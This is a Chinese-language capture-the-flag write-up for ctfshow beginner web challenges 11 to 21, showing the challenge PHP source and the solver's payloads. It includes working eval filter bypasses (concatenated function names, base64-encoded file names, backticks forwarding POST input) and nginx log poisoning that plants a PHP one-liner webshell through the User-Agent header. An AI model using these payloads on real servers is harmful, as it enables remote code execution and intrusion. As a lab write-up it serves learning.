写在前面

接上篇文章:https://plumstar.cn/2022/04/30/ctfshow-meng-xin-web1-10/

web11

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat/i",$c)){ //过滤掉了system exec hightlight cat四个函数,想办法绕过
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

这里依旧使用web10的多重定义的办法,同时使用转义符绕过cat过滤,payload为

?c=$a='sys';$b='tem';$d=$a.$b;$d('ls'); //查看当前目录下文件

?c=$a='sys';$b='tem';$d=$a.$b;$d('ca\t config.php');

同样也是右键源码查看flag

web12

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }

看到这里将system|exec|highlight|cat|\.|php|config均送上了ban位,需要找寻其他的办法。

在前面学习RCE的笔记中,我写到了一个函数passthru,跟system函数效果一样,执行外部程序并且显示原始输出。

还是在config.php中存有flag 我们需要构造paylaod来绕过过滤,因为无法出现config.php这三个字符,考虑编码进行绕过,这里我选择base64进行编码,需要用到base64_decode函数来进行解码

config.php的base64编码结果为Y29uZmlnLnBocA== payload中使用base64_decode进行解码 payload为

?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("more $a"); //more:一页一页的显示档案内容,这里的效果就是一页一页的显示解码后的$a变量,即config.php

web13

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
        eval($c);
}else{
    die("cmd error");
}

过滤代码加上了分号和file 无法使用分号进行语句闭合,但是在php中还有可以进行闭合的符号,例如<??>也可以进行闭合操作

?c=passthru('ls')?>

payload跟web12类似,还是使用base64进行编码绕过,只不过不使用分号进行语句闭合

?c=$a=base64_decode('Y29uZmlnLnBocA==')?><?passthru("more $a")?>

web14

在web13的基础上加上了括号,那么感觉绕过有点难了。从请求方法中想办法,可以看到源码中只提到了对GET请求进行过滤,那么POST请求并未进行涉及,我们可以在这方面做文章

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

如何将GET请求转换为POST请求呢,首先反引号和?>并未被阻止,所以我们可以使用下面的payload进行POST输入

?c=echo `$_POST[a]`?> // payload中的函数均为被过滤,所以该语句执行成功

那么当我们再去通过POST执行命令就不会有任何限制,绕过了对GET命令的过滤

同样是在config.php文件中的flag,直接访问即可,记得flag是在源代码中

web15

>过滤掉了但是分号没过滤,很异或。跟web14一样,只是把?>换成;

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

payload为

?c=echo `$_POST[a]`; //然后POST进行传入命令即可

?a=cat config.php然后源代码查看即可

web16

16题没看懂考了啥,源代码长这样,看起来是要解密一个md5编码。传入参数c,使得ctfshow$c的md5值等于后面,然后输出flag

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

解密就行了,随便找个小网站,解出这一串md5值为ctfshow36d,payload为?c=36d即可得到flag

web17

没看懂,看了大佬的wp才看明白,也是之前没接触过的日志包含https://blog.csdn.net/qq_45829213/article/details/113878509

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php/i",$c)){
               include($c);

       }


}else{
        highlight_file(__FILE__);
}
?>

出现了include($c)这个函数,想到了include文件包含,但是也没想到有什么办法进行利用,随便传入参数看一眼有什么信息,没什么有用的信息,给出了几个路径,到这我也没想到,burp抓包发现是nginx时,才意识到可以include包含一下日志文件尝试一下

传入参数?c=/var/log/nginx/access.log,利用include对其进行包含,查看日志文件,发现User-Agent被记录在日志文件中

那么我们在User-Agent写入我们的木马或者命令,尝试通过include进行包含

放包,在日志文件中查找有关信息,发现多处36d.php和index.php,那么flag很有可能在36d.php中

接着使用同样的方法在User-Agent中写入<?php echo system("cat 36d.php");?>即可找到flag,这是第一种方法,但是由于环境的原因,如果你失败一次就需要重新刷新环境,我是直接写入一句话木马蚁剑链接找flag

数据包为(即payload)

GET /?c=/var/log/nginx/access.log HTTP/1.1
Host: 65c433d7-5db6-43eb-866f-48599612699c.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 <?php eval($_POST['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

web18-web21

web18-web21都可以使用17关的payload,只是加了一些过滤而已,但是对payload无影响。

web18:加了一个过滤的file

web19:过滤代码加了base

web20:加了rot过滤

web21:加了\过滤